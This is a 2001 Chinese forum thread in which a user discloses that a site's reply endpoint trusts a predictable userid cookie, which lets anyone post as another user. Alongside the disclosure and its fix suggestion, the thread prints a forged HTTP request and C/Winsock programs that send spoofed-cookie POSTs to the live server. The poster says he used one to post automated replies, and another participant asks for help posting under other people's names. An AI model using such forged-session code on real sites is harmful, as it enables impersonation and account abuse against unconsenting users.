主 题：====>本人在走之前想提醒一下诸位,csdn有一个安全漏洞!
作 者：supperlxf
所属论坛：灌水乐园
问题点数：37
回复次数：94
发表时间：2001-5-13 17:23:00
看:
POST /expert/replynews.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://www.csdn.net/expert/Topic/119/119692.shtm
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
Host: www.csdn.net
Content-Length: 48
Connection: Keep-Alive
Cookie: ASPSESSIONIDGGQQQMFG=EOALPHNBKCJAJHEINGPJLIPF; room=1; userid=76417
id=119692&Content=22&B1=%A1%A1%BB%D8%B8%B4%A1%A1
userid 居然不是随机数，总是76417，而ASPSESSIONIDGGQQQMFG=EOALPHNBKCJAJHEINGPJLIPF根本就没用，这样黑客可以跳过密码验证而冒充他人发信息，加分。我建议服务端要验证一下ASPSESSIONIDGGQQQMFG=EOALPHNBKCJAJHEINGPJLIPF的值，使其每次对话都是密码登陆用户
回复贴子：
回复人：sunraywang(missu) (2001-5-13 17:29:00) 得0分
高
回复人：111222(111222@0451.com) (2001-5-13 17:41:00) 得0分
我试过，不好使啊
回复人：111222(111222@0451.com) (2001-5-13 17:44:00) 得0分
supperlxf:
请你在走测试一下，用我的名字发个帖子、、
回复人：robut(大家名字都长我也想名字长所以我用长名字) (2001-5-13 17:45:00) 得0分
我用代理上网，我用我的名字登陆进来，总是显示别人的资料
那个人和我是用一台代理
但是我发表文章还是我的名字
回复人：supperlxf(嘿嘿) (2001-5-13 17:46:00) 得0分
我程序还没来的及编啊
回复人：supperlxf(嘿嘿) (2001-5-13 17:50:00) 得0分
2
回复人：agecntao(火鸟) (2001-5-13 17:56:00) 得0分
cookie的问题
回复人：supperlxf(嘿嘿) (2001-5-13 17:57:00) 得0分
2
回复人：supperlxf(嘿嘿) (2001-5-13 17:59:00) 得0分
2
回复人：111222(111222@0451.com) (2001-5-13 17:59:00) 得0分
lxf兄指点啊！你走之前教我在CSDN匿名发帖子呀~~
这个COOKIES怎么用啊？我机器上没有别人的COOKIES啊
我刚才写了下面代码，但是不好使啊
你来补充补充啊
//Don't forget to link with wsock32.lib :-o
#include <windows.h>
#include <stdio.h>
char *GetData(int SockFD)
{
//get data without a blocking recv so we dont hang if we crash the server
char *buffer;
char data[2001];
unsigned long on=1;
unsigned long off=0;
char waste[2001];
int p, i=1;
int t;
memset(data,0,2001);
p=ioctlsocket(SockFD,FIONBIO,&on);
memset(waste,0,2001);
for(t=1;t<10;t++){
i=recv(SockFD, waste, 2000, 0);
if(i>0)
break;
Sleep(500);
}
waste[i]='\0';
strncat(data,waste,2000);
buffer = ( char * )malloc( 2000 * sizeof( char ) );
strncpy( buffer, data, 2000 );
return buffer;
}
void SendRequest(char *host, char *action)
{
int SockFD,i;
struct sockaddr_in DstSAin;
char *buffer;
char *p;
SockFD=socket(AF_INET,SOCK_STREAM,0);
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = 80;
DstSAin.sin_addr.s_addr=iplookup(host);
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
send(SockFD,action,strlen(action),0);
buffer=GetData(SockFD);
printf("%s\n\n",buffer);
closesocket(SockFD);
return;
}
closesocket(SockFD);
}
int main(int argc, char **argv)
{
WSADATA wsaData;
struct in_addr host;
host.S_un.S_addr = inet_addr(argv[1]);
WSAStartup(0x202, &wsaData );
SendRequest(argv[1], argv[2]);//我在这里把argv[2]写成我发帖子时候的请求无效啊
WSACleanup();
}
回复人：supperlxf(嘿嘿) (2001-5-13 17:59:00) 得0分
2
回复人：storyxlx(风笛) (2001-5-13 18:01:00) 得0分
关注
回复人：supperlxf(嘿嘿) (2001-5-13 18:02:00) 得0分
你看我发的2了吗?是机器发的!!!
我匆匆写的代码:
char strSubAddr[]="POST /expert/replynews.asp HTTP/1.1\x0d\x0a"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\x0d\x0a"
"Referer: http://www.csdn.net/expert/topic/119/119085.shtm\x0d\x0a"
"Accept-Language: zh-cn\x0d\x0a"
"Content-Type: application/x-www-form-urlencoded\x0d\x0a"
"Accept-Encoding: gzip, deflate\x0d\x0a"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)\x0d\x0a"
"Host: www.csdn.net\x0d\x0a"
"Content-Length: 47\x0d\x0a"
"Connection: Keep-Alive\x0d\x0a"
"Cookie: ASPSESSIONIDGGQQQMFG=IEKHPHNBBOFPJEMKAAJPMBEP; room=100; userid=76417\x0d\x0a\x0d\x0a"
"id=119717&Content=2&B1=%A1%A1%BB%D8%B8%B4%A1%A1";
char fname[200];
void LogFile(char *p)
{
FILE *fp=fopen(fname,"a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
BOOL HttpClient(void)
{
WSADATA ws;
SOCKET s;
struct sockaddr_in addr;
int iResult;
long lResult;
char strBuffer[9000];
lResult = WSAStartup(0x0101,&ws);
s = socket(AF_INET,SOCK_STREAM,0);
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
addr.sin_addr.s_addr = inet_addr ("211.101.228.186");
// 计算机世界日报
iResult=connect(s,(struct sockaddr *) &addr, sizeof(addr)); if(SOCKET_ERROR == iResult)
{
// 连接失败
WSACleanup();
return FALSE;
}
else
{
// 连接成功
//strcpy(strSubAddr, "GET /99/tips/ \r\n");
strcpy(fname, "index.htm");
iResult = send(s, strSubAddr,strlen(strSubAddr),0);
// 下载文件
do
{
strset(strBuffer,' ');
iResult = recv(s,strBuffer,sizeof(strBuffer),0); LogFile(strBuffer);
}
while( iResult !=0 );
}
WSACleanup();
return TRUE;
}
void CHttpsendDlg::OnOK()
{
// TODO: Add extra validation here
HttpClient();
//CDialog::OnOK();
}
回复人：111222(111222@0451.com) (2001-5-13 18:02:00) 得0分
//上面丢了一个函数啊，我在贴//lookup an ip wheeeeee
long iplookup(char *rhost)
{
long rip;
struct hostent *hp;
if ((rip=inet_addr(rhost))==-1)
{
if ((hp=gethostbyname(rhost))==NULL)
{
printf("Failed to resolve host.\n");
// exit(1);
return 0;
}
memcpy(&rip, (hp->h_addr), 4);
}
// printf("%s",rip);
return rip;
}